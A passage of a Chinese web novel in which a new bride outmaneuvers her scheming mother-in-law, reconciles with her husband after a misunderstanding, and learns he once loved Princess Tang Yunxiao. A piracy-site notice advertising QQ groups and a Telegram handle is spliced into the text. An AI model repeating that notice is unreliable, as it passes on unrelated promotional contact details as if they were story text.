窦淑容停下了哭诉,有些惊讶地看着他。
这么快就妥协了?
“二叔,咱们去书房手谈一局吧。我与你还有些话要说。”裴明镜看向了裴二老爷。
裴二老爷露出了劫后余生的表情,忙点头:“走走走,咱们下棋去。”
见他们离开,窦淑容看向了裴二夫人。
“二弟妹,我瞧着光岳这身袍子似乎短了些,库房里新来了几匹不错的料子,你眼光好,快去帮他挑挑,顺便也给阿芜选几匹做入冬的衣裳。”
裴二夫人立刻明白大嫂的言外之意是让她带着孩子离开。
她担忧地瞥了祝红玉一眼,却不好驳斥大嫂,只得笑道:“多谢大嫂想着他们。阿芜,光岳,还不谢谢大伯母?”
两个孩子乖巧地道谢。
临走前,裴芜悄悄对祝红玉投去一个鼓励的眼神。
祝红玉回了她一个微笑。
“你笑什么?!”窦淑容冷呵一声。
“今日是我与世子成婚的第一日,大喜之日,我笑有什么不对吗?若我哭丧着脸,外人恐怕会担忧我与世子夫妻不睦。母亲,这不好吧?”祝红玉一脸为难地看着她。
窦淑容:“……”
她原以为祝红玉是一个只会动手的粗鄙无脑之人,没想到她竟然这般伶牙俐齿。
她深吸一口气,强压下怒火,转而用上了挑剔的目光上下扫视祝红玉,从鼻子里哼出一声:“牙尖嘴利!看来祝家的家教也不过如此。怎么,你爹娘没教你为人儿媳的道理,只教了你怎么顶撞长辈吗?”
祝红玉听她提及爹娘,心里有些不痛快。
她捏紧了拳头,决定再忍她一回。
她客客气气的开口,语气十分诚恳,但说出来的话却半点没有退让:“爹娘没教过我顶撞长辈,倒是教过我如何识别不慈的长辈。”
窦淑容被她这话噎得又是一窒。
她恼羞成怒道:“你的意思是说我不慈?”
“母亲,我可没说过呀。”祝红玉抬起头,一脸无辜。
窦淑容:“……”
她发现了,她不能顺着这死丫头的话说下去,那样只会让她吃瘪。
她磨了磨后槽牙,冷哼一声:“你恐怕还不知道吧,你那前未婚夫死了,就死在你嫁进国公府的前夕。我看就是被你克死的。”
祝红玉才知道这个消息,她终于明白那日娘亲说的晦气是什么意思了。
合着是邱彦之死了啊。
真可真是天大的好消息,娘亲怎么不告诉她呢。
想到这,祝红玉笑了起来:“母亲,我若有这般本事,可以把七年前的未婚夫给克死,我就不会嫁到你们卫国公府来了。”
窦淑容拧起眉头:“你什么意思?”
“那我直接入宫去求皇上封我个一官半职不就好了。皇上讨厌谁,就让我和谁定亲,把他们通通都克死!”祝红玉越说越觉得好笑。
“哈哈哈哈,这样的话,母亲您倒是逃过一劫了呢,不必担心被我克死。毕竟咱们定不了亲。”
窦淑容看到她竟然还有心情笑出声,真快被她逼疯了。
又听到她这大逆不道的话,顿时气急败坏道:“好!好得很!你是打定主意要气死我才甘心是不是?你以为仗着明镜一时回护,就能在我面前得意忘形了?”
“你且掂量清楚!一个刚进门就把婆母气得卧床不起的新妇,这名声传扬出去,好不好听?”
“到时候,我看你往后还怎么在这京城里立足,唾沫星子都能淹死你。你看看那时候,明镜还能不能护得住你!”
祝红玉微微一笑:“母亲说笑了,我的名声什么时候好听过?再说了,这些年的想要淹死我的唾沫星子不计其数。您看,我如今不是好端端站在您面前么。”
窦淑容这下是真没辙了。
她怎么忘了,这死丫头名声早就没了,她根本就不在乎。
看着眼前油盐不进、句句都能堵得她心口发疼的祝红玉,窦淑容一股邪火直窜头顶。
她的脑海里冷不丁地闪过另一张同样伶牙俐齿、让她恨得牙痒痒的脸。
大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午!
第424章 这是真的吗
棠!云!婋!
当初那小贱人也是这样,三言两语就能把她噎得哑口无言。
忽然,窦淑容脑海里冒出一个让她怒火中烧又让她觉得无比荒唐的猜测。
难不成她儿子就喜欢这种嘴上不饶人、能把他亲娘气个半死的厉害角色?
想到棠云婋,窦淑容脸上的怒意忽然诡异地消散了,转而化作一丝意味深长的笑。
她向前倾了倾身子,用只有两人能听到的音量,小声道:“你以为明镜为什么会娶你?”
“还不是因为他有爱而不得之人。你呀,不过是他退而求其次的选择罢了。”
祝红玉脸色微变。
有爱而不得之人……
退而求其次的选择……
这两句话不断在她的脑海里回响。
怪不得这门亲事定得如此之急,从相看到定亲到成婚不过短短时日。
她当时只以为是裴明镜真的需要她来打理国公府,却从未想过是因为他心里早已装了别人?
她想起成婚前他送来的那些添妆,想起新婚之夜他的克制与尊重,想起今晨他对元帕之事的理性回护……
原来,这一切的体贴与担当,并非源于对她有什么特殊的情愫,而仅仅是因为他的教养和责任?
不管他的夫人是谁,想必他都会那样对她吧。
反正已经痛失所爱,娶谁都一样。
一股难以言喻的酸涩和闷痛迅速从心口蔓延开来,这比刚才被窦淑容那些挑剔羞辱更让她难受百倍。
窦淑容满意地看着她失神的模样,嘴角勾起一抹恶毒的笑意。
呵,她就不信了,哪个女人知道夫君心里有别的女人还能琴瑟和鸣得下去。
她这个当娘的在儿子面前提上棠云婋都会惹怒他,祝红玉一个与他见了不到几面的女人,若是敢提,一定会惹得他厌弃。
看着窦淑容脸上恶意的笑,祝红玉将心里的震惊与刺痛压下。
就算窦淑容说的是真的,那又如何?
她与裴明镜婚前本来就没有见过几次,怎么可能有什么感情,他们之间不过是一场各取所需的婚姻。
他心中有别人,是他的事。
她嫁入裴家,为的是摆脱过去的泥沼,为自己挣一个前程,而不是来祈求虚无缥缈的情爱的。
更何况……
窦淑容此言是真是假还未可知。
婆婆厌恶她至极,故意说这些话来离间他们夫妻、刺痛她的可能性极大。
退一万步讲,即便真有那么一个人存在,如今明媒正娶站在裴明镜身边的是她祝红玉。
拜过天地,见过祖宗,名分已定。
她缓缓抬起眼,对着窦淑容露出了一个淡淡的笑容:“所以呢?现在的世子夫人不还是我么?对了,未来的国公夫人也是我。”
说完,她也凑到了窦淑容耳边,小声道:“而你,老太婆,你马上要被你儿子送走咯~~~”
这回,轮到窦淑容的笑容僵在了脸上。
“你,你,你……”
窦淑容被气得浑身哆嗦。
祝红玉趁机给自己的心腹丫鬟惊蛰使了个眼神。
惊蛰上前一步稳稳托住了自家小姐的胳膊,同时扬声道:“快来人啊!世子夫人被气晕过去了!”
祝红玉配合地身子一软,恰到好处地“晕”在了惊蛰怀里。
这一下变故突生,厅内顿时乱作一团。
窦淑容目瞪口呆。
没想到,这死丫头竟然敢装晕?
惊蛰根本不给她辩解的机会,一边装模作样的掐着祝红玉的人中,一边带着哭腔对闻声进来的仆妇道:“快!快扶世子夫人回房休息!快去禀报世子爷!”
几个婆子丫鬟连忙七手八脚地围上来,小心翼翼地搀扶起“昏迷不醒”的祝红玉,迅速离开了这是非之地,将气得几乎仰倒的窦淑容独自留在厅里。
消息很快传到了书房。
裴明镜闻讯立刻赶了过来。
踏入新房时,他眉头微蹙,脸上带着一丝不易察觉的担忧,直接看向一旁的惊蛰:“夫人怎么样了?请大夫了吗?”
话音刚落,就见本该昏迷的祝红玉正靠坐在床头,慢悠悠地坐直了身子。
祝红玉冲他摆了摆手:“不必请大夫,我装的。”
裴明镜:“……”
他明显愣了一下,显然没料到是这个答案。
他挥手让屋内伺候的丫鬟都退下,只留他们二人在房内。
“怎么回事?”他轻声询问。
祝红玉解释道:“我若不抢先一步晕过去,恐怕就要背上气病婆母的名声了。”
裴明镜听完,沉默了一瞬,方才开口:“辛苦你了。袭爵旨意下来后,我派人送她离开。”
“好,都听世子的。”祝红玉点了点头。
他看着祝红玉平静无波的脸,敏锐地察觉到她对他似乎和之前有些不一样?
她的眼底带着淡淡的疏离。
他心中有些疑惑。
明明昨日和今天清晨,祝红玉待他还不是这个态度。
为何忽然有所转变。
他开口道:“除了那些话,母亲可是还跟你说了别的?”
祝红玉一愣,没想到他这般敏锐。
随后又想,他可是当过京兆尹的人,她心里藏不住事,有所隐瞒被他察觉在正常不过了。
祝红玉仰头看向了他。
“对,母亲还说你心中有爱而不得的人,所以才退而求其次娶了我。这是真的吗?”
她问得这般直接,裴明镜脸上有些错愕,但随后又是恼怒。
母亲在他夫人面前说这些话,不就是希望他们夫妻离心么。
她竟然一点也不盼着他这个亲儿子过得好么?
“她还说了什么?”裴明镜避开了她的问题,忍不住反问。
他的不回答和追问。
对于祝红玉而言,已然是最好的答案。
她心口那点微末的期待彻底沉了下去,脸上那点强撑的淡然也快要维持不住。
她忽然后悔问了,何必自取其辱。
她别开视线,语气变得飞快而冷静,仿佛在说一件与己无关的事:“没说什么了,也没告诉我那个人是谁。”
“我……”裴明镜想要解释,却被祝红玉打断了。
“世子不必为难,我也只是随口一问。你我之间,本就是各取所需。往后……”
“往后我们相敬如宾即可。方才是我逾矩了,以后不会了。”
她这番话看似懂事体贴,却瞬间在两人之间划下了一道清晰的界限。
第425章 冷战和解释
裴明镜看着她骤然疏离的态度和刻意垂下的眼帘,到了嘴边的解释忽然停住了。
他也确实不知道该怎么解释。
他对棠云婋确实有过好感。
但那如同隔雾看花,未曾真切,也未曾触碰。
就像永安王说的一样,那只是他自以为是的深情,从头到尾棠云婋什么都不知道。
这份永不会宣之于口的悸动,在他决定另娶他人时,他就已经将它裹藏起来,永远放下。
不然,那是对过去情意的玷污,也是对未来的夫人不尊重。
可看着祝红玉此刻明显拒绝沟通的模样,他忽然觉得任何关于“过去”的解释在此刻都显得苍白无力,甚至可能越描越黑。
他最终只是深深地看了她一眼,将所有情绪压下,声音恢复了一贯的平稳:“那你好生休息。”
说完,便转身离开了房间。
他离开后,惊蛰有些担忧地看着自家小姐。
“夫人,您这么做,会不会把世子爷给推远了啊?”
祝红玉此刻也有些懊恼。
早知道就继续嘴硬了,为什么非要打破砂锅问到底呢。
这下好了,惹得世子不高兴了吧。
“没事的,世子不是那样小心眼的人。”祝红玉自顾自地安慰起了自己。
她深吸一口气:“如今我已经是世子夫人,计较那么多做什么。把属于我的东西,牢牢拿在手里才是真的。”
祝红玉调整好了情绪,还在晚上用膳时,特意让丫鬟去请了裴明镜。
裴明镜没有拒绝。
看到裴明镜愿意跟她一块用晚膳,祝红玉松了一口气。
晚膳时,两人相顾无言,气氛虽不热络,却也还算平静。
见裴明镜举止如常,祝红玉稍稍安心,以为白天那点不愉快算是揭过了。
没想到要就寝了,裴明镜却命人取来了另一套被褥。
“世子?”祝红玉心里咯噔一下,忍不住叫了他一声。
只见裴明镜抱着被褥,径直走向窗边那张平日里用来小憩的贵妃榻。
他将被褥铺在榻上,语气平淡无波,听不出情绪:“你今日受累了,好生休息。我歇在此处即可。”
祝红玉愣在原地。
他这是什么意思?
嫌弃她?
因为白天她问了那句话,所以连和她同床都不愿意了?
一股委屈和火气瞬间涌上心头。
她白日里好不容易自我开解,主动示好请他一同用膳,结果晚上就给她来这一出?
她咬住下唇,看着他那副油盐不进、自顾自铺床的冷淡模样,所有试图缓和关系的念头瞬间灰飞烟灭。
好,很好。
不愿睡一起是吧?那就别睡了!
她猛地转过身,不再看他,声音硬邦邦地扔下一句:“多谢世子体谅。”
说完,她便吹熄了床头的蜡烛,只留下远处角落里一盏昏暗的守夜小灯,然后掀开锦被自顾自地躺了下去。
她背对着窗户的方向,将被子拉得老高,几乎盖过了头顶。
黑暗中,她能听到裴明镜那边窸窸窣窣整理被褥的声音,然后是他躺下的细微动静。
接着,新房内陷入一片死寂。
祝红玉气得胸口发闷,根本睡不着。
她竖着耳朵听窗边的动静。
那小榻并不宽敞,裴明镜身量又高,睡在那里肯定很不舒服。
她心里既盼着他受不了过来,又恼恨他的莫名其妙和不肯解释。
而另一边的裴明镜,躺在硬邦邦的榻上同样毫无睡意。
他怎么感觉好像夫人更生气了?
今日她定然因为母亲的话心中存了芥蒂,或许不愿与他同床共枕。
他若强行睡过去,只怕更惹她厌烦。
但他要是去书房睡,消息传出去,旁人只会认为是新妇不得夫君欢心,于她的名声有损。
睡在房内榻上,虽则别扭,却保全了她的颜面。
他习惯了处理公务的清晰果断,却对这夫妻间的陌生矛盾感到十分棘手。
解释显得多余,靠近又怕被推开。
最终他还是选择了这种笨拙而自我惩罚式的保持距离。
一夜无话。
翌日清晨,祝红玉醒时,裴明镜早已收拾好了榻上的被褥,衣着整齐地坐在外间了。
两人目光短暂相接。
祝红玉一眼就瞧见了他眼下那抹清晰可见的淡青色乌青,显然也是一夜未睡好。
活该!
她心里暗骂一句,故意扭开头不看他。
裴明镜看着她明显带着情绪的背影,唇线微抿,终究什么也没说。
两人看似什么矛盾也没发生,却又莫名其妙地开始了某种意义上的冷战。
就这样又过了一天。
祝红玉坐在床上,看着走进来的裴明镜,皱起了眉头。
明日就是三朝回门,裴明镜若继续睡在榻上,恐怕明日看起来会比今日更憔悴。
到时候,爹娘肯定会担心他们之间是不是出什么问题了。
想到这,她气鼓鼓道:“你若不肯同我歇在一处,那你便去书房睡吧。省得明日起来这副模样,外人以为我把你怎么了呢。”
裴明镜听到这话,终于开口解释:“睡书房对你名声有碍。”
“嗯?”祝红玉一时间有些懵。
裴明镜却没有再多说什么,只是从袖中取出了一封信,走到床边递给了祝红玉。
祝红玉:“?”
她疑惑地接过。
裴明镜似乎有些不自在,他轻声道:“我去沐浴。”
随后他转身离开了。
祝红玉下意识地开口:“不是洗过了吗,怎么又洗?”
裴明镜的背影一僵,但没有停下,还是快步离开了。
祝红玉这才后知后觉地意识到,他只是找个借口想让自己单独看这封信罢了。
她有些无奈又有些尴尬地带着满腹疑惑,借着床头昏黄的灯光,拆开了那封信。
第426章 挑拨失败了
一打开,跃于纸上的依旧是裴明镜那熟悉苍劲的字迹。
【红玉亲启:
见字如面。
昨夜是我考虑不周,行事欠妥,惹你不快,心中甚歉。
并非不愿与你同寝,是察觉你心绪不佳,怕再靠近,徒增你的厌烦。
母亲荒谬之言,不必放在心上。
我确实曾经对他人有过一段未曾言明、亦无结果的爱慕,但此事皆成前尘,我已放下。
因旧事令你困扰,是我之过。
昨夜宿于榻上而未去书房,是为你的声誉着想。我若深夜离去,恐引来外人猜议,有损你的清名。
同宿一室,虽稍不便,却可全你颜面。
明日回门,我定当同行,绝不令岳父岳母担心。
今夜我宿于屋内,若你不愿,绝不勉强。
明镜,书】
祝红玉一字一句地看完,心中的那股郁气和委屈全都这封信一点点熨平了。
原来他不是在生她的气,而是在用他那笨拙又过分理智的方式,小心翼翼地顾及着她的情绪和名声。
甚至还为她那句质问郑重地道了歉,解释了那“心有所属”的真相。
她捏着信纸,垂下眼帘,嘴角却忍不住微微向上弯了一下,声音也软了下来:“……怎么能怪你,该怪我才是。”
她将信纸小心翼翼地叠好,看向了一旁的惊蛰,脸上浮起了笑。
“去请世子,让他早些回来休息,明日还要早起回门呢。”
少年慕艾,实属正常。
将心比心,她当初和邱彦之定亲,也有过心动和欢喜。
如今裴明镜既然能放下,那她也没必要深究。
人生在世,难得糊涂。
惊蛰听到这话,松了一口气。
夫人与世子若一直冷战,他们这些在身边伺候的,又何尝不是提心吊胆、左右为难。
如今能和好,那真是再好不过了。
“诶,奴婢这就去。”惊蛰欢快地应下,快步去把在外边乱逛的裴明镜给叫回来。
裴明镜听到惊蛰请他回屋,也松了一口气。
果然,比起当面解释,还是写信沟通让他感觉更轻松。
他入屋后换好了就寝的中衣,低头看向了祝红玉,没说话,也没动。
祝红玉也没吭声,只是默默地往床的内侧挪了挪,空出了大半的位置。
她掀开了另一侧的被子,低声道:“世子所言,我都记下了。此事我也有错,不该不听你的解释。”
“多谢夫人体谅,那便歇息吧。”裴明镜吹熄了烛火,安静地在她身侧躺下。
祝红玉还是头一回听到裴明镜叫她“夫人”,耳根忍不住有些发红。
这个称呼,好像比叫她红玉更好听。
两人之间虽然还有一点点距离,但相较于昨夜,已经贴近了很多。
祝红玉大着胆子,小心翼翼地将手指往裴明镜身边挪动。
一步,又一步,眼看着要触碰到裴明镜的手了,裴明镜却忽然动了。
祝红玉吓了一跳。
裴明镜握住了她的手,没有别的话,只是轻声说了一句:“明日要早起,睡吧。”
“好。”祝红玉莫名有种干了坏事被抓包的心虚,老实地闭上了眼睛。
但心里却莫名地甜。
今夜,总算可以睡个好觉了。
*
三朝回门之日,祝祷夫妇一大早起来等着女儿和女婿回来。
“也不知道红玉这几日有没有被那窦氏刁难。”祝夫人忧心忡忡。
那窦淑容实在是太难缠。
她怕到时候女儿被逼得动了手,落下一个“殴打婆母”的罪名可如何是好。
祝祷安慰道:“别担心了,等会儿红玉回来了,你好好问问她就是了。”
祝夫人叹了一口气,点了点头。
夫妻说话间,下人快步跑了进来。
“老爷夫人,小姐和姑爷回来了!”
听到这话,祝祷夫妇脸上顿时洋溢出了热烈的笑容,快步迎了上去。
走到前院,瞧见裴明镜和祝红玉并肩而立,仆人从马车上搬下了一箱又一箱的回门礼。
从珍贵的药材皮料到时新的绸缎首饰,一应俱全。
祝祷和夫人脸上的笑容愈发灿烂了。
祝青锋噔噔噔地跑向了祝红玉:“姐姐你可算回来了!”
从小到大,他和姐姐相处的时间最长,如今姐姐忽然嫁人,他一点儿也不习惯。
祝红玉还没回答他,祝青锋就听到了身后传来母亲的声音。
“祝青锋。”
祝青锋听到母亲叫他全名,一个激灵,立刻意识到自己失礼了。
他赶紧站稳,规规矩矩地转向裴明镜,像模像样地拱手行礼,小脸绷得紧紧的:“青锋见过姐夫。”
裴明镜微微颔首,算是回礼:“不必多礼。”
话音落下,他目光转向身旁的随从。随从立刻会意,捧上一个细长的锦盒。
裴明镜将锦盒接过,递向祝青锋,语气温和:“听你姐姐提及,你近日在习骑射。此物赠予你。”
祝青锋眼睛瞬间亮了,也顾不得装什么稳重的大人了,迫不及待地接过盒子打开。
只见里面躺着一把做工极其精巧的紫檀木小弓,配着一壶同样小巧精致的箭矢,一看就是专门为少年人量身打造的,既贵重又实用。
“谢谢姐夫!”祝青锋欢喜得差点跳起来,抱着弓爱不释手,看向裴明镜的眼神里立刻充满了崇拜和亲近。
小孩子最是敏感,谁对他好,他便喜欢谁。
一旁的祝祷和夫人见状,脸上笑容更深,心中更是宽慰无比。
世子能如此细心,特意为小儿子准备这般合心意的礼物,足见对红玉的重视和对祝家的尊重。
祝夫人连忙上前,笑着打圆场:“好了好了,青锋,快别缠着你姐夫和姐姐了。”
祝祷跟了上去,笑着抬手引路:“贤婿,请上座。”
裴明镜从善如流,微微颔首:“岳父岳母先请。”
这个宴席,祝家人脸上的笑容就没断过。
他们最担心的就是女儿高嫁后会受委屈,如今看着裴明镜如此体贴,女儿气色也挺好,不像是受了什么委屈的样子,悬着的心总算放下大半。
席间,祝夫人寻了个空隙,拉着女儿到内室说体己话:“红玉,快跟娘说说,这几日在国公府可好?你婆婆没为难你吧?”
祝红玉握住母亲的手,笑着道:“娘,您放心。世子待我很好,事事周全。至于婆母……”
她顿了顿,压低声音,带着一丝雀跃。
“世子已答应我,等他正式袭了爵,便寻个由头,风风光光地将婆母送回老家荣养,不会让她再给我气受。”
她刻意隐去了这几日的不愉快,只挑了一些能让母亲宽慰的话来说。
祝夫人听完大喜过望,连连拍着女儿的手:“好,世子爷是个明白人,如此娘就彻底放心了!”
她心中最后那点忧虑也烟消云散,只觉得女儿苦尽甘来,后半生有了倚仗。
回门宴在和乐融融的气氛中结束。
但卫国公府里,窦淑容却气得三日来暴瘦了好几斤,面颊都凹陷了些许。
她万万没想到,自己那番的挑拨,非但没让那小贱人心生芥蒂,反而让他们夫妻俩更加恩爱了。
这番回门,明镜竟然准备了那么多回门礼。
显然没有受到她那番话的影响。
一种计划落空的慌乱和强烈的不甘让窦淑容心里愈发难受。
她绝不能就这么算了!
第427章 斗赢恶婆婆
祝红玉二人刚从娘家回来,就见到窦淑容身边的嬷嬷来传话。
“世子夫人,老夫人请您过去一趟。老夫人说了,新妇进门,除了第一日,后面几日推说身子不适也就罢了,如今都能回门了,若再不去晨昏定省,怕是眼里彻底没有她这个婆婆了!”
这话传得极其不客气,带着明显的问罪意味。
裴明镜眉头一皱,刚要开口,祝红玉却轻轻按了按他的手背,示意他稍安勿躁。
她神色平静地对嬷嬷道:“有劳嬷嬷传话,我换身衣裳便去给母亲请安。”
“我与你一同去吧?”裴明镜询问道。
“你能陪我面对一时,还能陪我面对一世不成。”祝红玉摇了摇头。
裴明镜听到这话,皱起了眉头:“我们是夫妻,我也没有换夫人的打算,为何不能。”
祝红玉这才意识到自己话里的歧义。
她噗嗤一笑:“我不是那个意思。我只是觉得,我总得独当一面。再说了,给母亲请安是我这个儿媳该做的。你若一定要跟着去,反倒不好。”
裴明镜觉得她说得确实有几分道理。
再一想到明日他便要请旨继承爵位,母亲在京城里也待不了几日便要回老家荣养了。
“好,那你去吧。若母亲说了什么难听的话,那你再晕过去就好了。”
听他一本正经的给自己出主意,祝红玉没忍住笑出了声。
“那可不行。一而再再而三的晕过去,旁人要怀疑我是不是故意的了。你放心吧,我肯定没问题的。”
和窦淑容这个婆婆交锋过一次之后,她已经明白了她是什么人。
她如今只是一个惶惶不安的纸老虎罢了,一切气势都是装出来的。
稍微一戳,她就倒下了。
“好。”裴明镜点了点头。
祝红玉换了身轻便的衣裳,便带上丫鬟,随嬷嬷一块去了窦淑容的院子。
一进院子,祝红玉就看到了窦淑容那张晚娘脸。
窦淑容的脸色阴沉得不像话。
祝红玉只当没看到,依旧规规矩矩地行了一礼:“儿媳给母亲请安。”
窦淑容没叫她起来,直接冷冰冰地发难:“哟,世子夫人还知道回来?还认得我这个婆婆?我还以为你如今眼里只有你祝家的爹娘,早忘了自己已经是我国公府的人了。”
祝红玉语气不卑不亢:“母亲说笑了。儿媳昨日确实有些不适,今日回门也是礼制所在,不得不去。若因此疏忽了母亲,是儿媳的不是。”
“不适?”窦淑容嗤笑一声。
“我看你气色好得很!怕是只顾着在娘家炫耀,根本想不起还有个人在等着你晨昏定省,端茶送水吧?这就是你们祝家的规矩?”
祝红玉直接站了起来。
窦淑容猛地一拍桌子:“反了天了,婆母没让你起身,你怎么就起身了?!”
“我只是想给母亲演示一下我们祝家的规矩。”祝红玉脸上依旧带着笑容,没有半点生气的样子。
“我们祝家的规矩是这个点了,就该练功,强身健体。”
话音未落,不等窦淑容和满屋子丫鬟婆子反应过来,祝红玉身形骤然一动。
她直接在这厅堂之内,打出了一套虎虎生风的拳法。
她步法稳健,拳出如风,衣袂翻飞间带着一股凌厉的气势。
她的动作行云流水,力道收放自如,每一拳每一脚都精准地控制在离窦淑容的桌椅和衣裳只有两三寸的距离。
“啊!”窦淑容何曾见过这等阵仗,吓得尖叫一声,整个人猛地向后缩去,差点从椅子上翻下去,脸色瞬间煞白如纸。
旁边的婆子丫鬟们也吓得魂飞魄散,想上前护主又不敢靠近那拳风范围,只能惊慌失措地乱叫:“世子夫人!使不得!使不得啊!”
祝红玉却恍若未闻,一套拳法打完,最后收势而立,气息匀停,面不红心不跳。
她整理了一下微乱的袖口,脸上依旧带着那副无辜又温婉的笑容,看向惊魂未定的窦淑容,语气关切地问道:“母亲,您觉得我们祝家这规矩如何?是不是强身健体效果甚佳啊?”
“儿媳看您面色似乎不太好,可是近日疏于活动?不如明日晨起请安时,儿媳陪您一同练练?”
窦淑容被她这话气得浑身发抖,指着她的手都在颤,却一个字也骂不出来。
儿子娶的哪里是儿媳妇,这分明是娶了个活土匪!
她竟然敢、竟然敢在自己面前动武?!
“你……你……”窦淑容嘴唇哆嗦着,你了个半天,最终色厉内荏地憋出一句:“滚!你给我滚出去!”
祝红玉从善如流,优雅地福了一礼:“既然母亲需要静养,那儿媳就不打扰了。您好好休息。”
说完,她看也没看那一屋子吓得够呛的人,转身步履从容地离开了窦淑容的院子。
窦淑容此刻就是无比后悔。
早知道当初就不阻拦儿子娶棠云婋了。
起码棠云婋身份比这女土匪高贵,也只是动动嘴皮子,而不是像祝红玉一样,竟然敢当着她的面打拳,恐吓她!
*
夜里。
裴明镜回来询问祝红玉今日请安如何。
祝红玉笑眯眯道:“挺好的呀,明日我还会准时去给母亲请安。”
“母亲没有刁难你?”裴明镜有些惊讶。
“没有呢。我给她表演了一套拳法,她就让我离开了。”祝红玉没藏着掖着,把今日如何应对窦淑容的招式都说了。
裴明镜:“……”
听着祝红玉语气轻松甚至带着点小得意地描述如何用一套拳法把母亲吓得不敢再刁难,裴明镜陷入了短暂的沉默。
他看着眼前眉眼弯弯、带着几分狡黠笑容的妻子,再回想自己多年来与母亲周旋的方式。
无非是冷处理、避而不见、或是用世子身份强硬压制,结果却总是收效甚微,甚至常常将矛盾激化,弄得彼此身心俱疲,母子关系也越来越僵。
原来……
还能像夫人这样?
一股极其复杂的情绪涌上裴明镜心头。
有几分荒谬,几分愕然,但更多的是一种豁然开朗般的钦佩。
他点点头:“你心中有数就好。明日我便请旨,过几日旨意下来了,就陪母亲出城去上香,然后让人把她送回老家。”
见他这么说,祝红玉心里安心了不少。
世子对她的处理没有意见,那明日便可以继续这么办了。
翌日清晨。
裴明镜入宫请旨,祝红玉特意起了一个大早去给婆婆请安。
没想到丫鬟却说婆婆病了,不用她请安了。
“那可要儿媳来侍疾?”祝红玉大声嚷嚷了起来,把好儿媳的做派表现得淋漓尽致。
屋内的窦淑容脸色一僵。
祝红玉来侍疾?
那她怕是活不过明天中午。
“告诉她,用不着,让她赶紧滚。”窦淑容还没想好怎么拿捏祝红玉这个“茅坑里的臭石头”,现在一点也不想见到她。
但她转念一想,上回提起裴明镜有心仪之人时祝红玉变了脸色。
这回说不定也可以。
把棠云婋的存在告诉祝红玉,让她去和棠云婋狗咬狗,到时候两败俱伤,她渔翁得利!
想到这,窦淑容赶忙叫住了传话的丫鬟。
“等等,让她进来。”
第428章 心上人是谁
祝红玉跟着丫鬟走了进去。
看到窦淑容,她温顺行礼,窦淑容也没跟她绕弯子。
她示意祝红玉上前。
祝红玉听话地走了两步。
窦淑容冷笑一声:“你可知明镜心中那个爱而不得的人是谁?”
祝红玉脸色未变,摇了摇头。
窦淑容压低声音,语气里充满了幸灾乐祸:“我告诉你,是令嘉郡主棠云婋。”
“你呀,连她的半根毫毛都比不上。若不是当初我鬼迷心窍没同意明镜娶她,如今我卫国公府的夫人就是她了,哪里轮得到你这个女土匪来当。”
听到令嘉郡主的名字,祝红玉一怔。
这位郡主在京城里风头正盛,可以说是无人不知无人不晓了。
她那场及笄礼,不知道让京城里多少女子羡慕不已。
她自然也听说过她的事迹。
看着窦淑容幸灾乐祸的神色,祝红玉猛地拔高了音调:“母亲慎言!”
“郡主的闺誉岂是旁人能随意编排的,母亲方才所言若传扬出去,不知情的人还以为是您对郡主心存不满,或是我国公府对皇家有何不敬之意。”
她先把一顶“大不敬”的帽子扣了下去,堵得窦淑容脸色一白。
不等窦淑容反驳,她又嗤笑一声:“再说了,圣上早已给永安王和郡主赐了婚,母亲先前那番话若是让永安王听到了……”
她故意停顿了一下,欣赏着窦淑容瞬间变得惊恐万分的脸色,才慢悠悠地继续道。
“他若是向皇上参我们国公府一个蓄意破坏宗室姻缘、妄议皇家之罪。母亲,您是不想让世子袭爵了吗?还是说您想让整个国公府都为您这番糊涂话陪葬?”
窦淑容被她这番话吓得冷汗都出来了,方才那点得意和恶毒早已消失不见,只剩下慌乱:“你、你胡说什么!我哪有那个意思!你休要血口喷人!”
谁不知道永安王就是个混不吝的,得罪了他的人都没有好下场。要是让永安王知道了她说的那些话,怕是她真的要看不到明天的太阳了。
“是儿媳胡说,还是母亲失言,自有公论。”祝红玉敛了笑容,神色变得冷淡而疏离。
“母亲若还想安安稳稳地做国公府的太夫人,有些话最好烂在肚子里。否则,祸从口出的道理,您应该比谁都明白。”
说完,她不再看窦淑容那张青白交加的脸,微微屈膝:“若母亲没有其他教诲,儿媳便先告退了。”
她走得十分果断,没有给窦淑容任何发泄或反击的机会。
窦淑容僵在原地,浑身发冷,她发现自己差点惹下了大祸。
棠云婋那个小贱人,如今已经不止是郡主,更是永安王未来的王妃,得罪不得。
祝红玉回到了自己的院子里,脸上强装出来的淡定顿时消失得无影无踪。
“竟然是令嘉郡主……”祝红玉喃喃自语。
虽然从未见过这位郡主,但她对她倒是神往已久。
一开始,她只知道她是定远侯府的假千金,定远侯府的人对她并不好。
后来得知她被污蔑给烈国公府世子下药,她还替她捏了一把汗。这样不得家族喜爱的,不知来历的孩子,会不会受不了打击,从此一蹶不振?
但她万万没想到,棠云婋竟然能逆转困境,让烈国公夫妇认下她当义女。
后来,一步一步的,竟然还成了县主,再到郡主,最后成了永安王的王妃。
每一步都让人意想不到,也让人刮目相看。
那些嫁不出去的日子,她都是想着令嘉郡主的事情来坚持下去。
令嘉郡主比她还小好几岁呢,她都没有轻易被那些流言蜚语击溃,最后还活得比所有人都精彩。
她暗暗想,说不定她也可以呢,她也能像令嘉郡主一样有这样的好运道呢。
结果,她竟然真的做到了。
她一个被退过婚还拖到了二十三岁的老姑娘,有人能娶就不错了,恐怕没有人能想到,她竟然还嫁给了卫国公世子。
“夫人,您别想太多了。”惊蛰见她念叨完令嘉郡主后就不吭声了,顿时有些担忧,生怕她钻牛角尖。
“如今您才是世子夫人,郡主也要嫁给永安王,一切都过去了。”
“我知道。”祝红玉回过神来,笑着看向了惊蛰。
“那样厉害的姑娘,我没见过都心生喜爱,更何况世子呢?”
“输给她,我没有什么好不满的。”
惊蛰听不得自家夫人说这话,赶忙道:“您没输,如今您才是世子夫人!况且,您也不比郡主差呀。”
在她心里,自家的主子什么都好,根本不比旁人差。
“是是是。这话就烂在这屋里,日后出门啊,可得管好你这张嘴。”祝红玉笑着点了点惊蛰的脑门。
“奴婢知道的。往后您就是国公夫人,奴婢可不能丢了您的脸。”惊蛰甜甜一笑。
“嗯,这就对了。”祝红玉笑着让惊蛰去请裴二夫人。
如今她要接管卫国公府,这偌大的中馈,一时半会真理不清,得让裴二夫人帮帮忙。
裴明镜回来之后,看到的就是祝红玉在和二婶虚心请教的模样。
“明镜回来啦?”裴二夫人笑着看向他。
随后很有眼力见地开口。
“红玉,今日你已经学了很多了,之后有什么不懂的,再找二婶便是。那二婶就不打扰你们了,先走了。”
说完她便离开了。
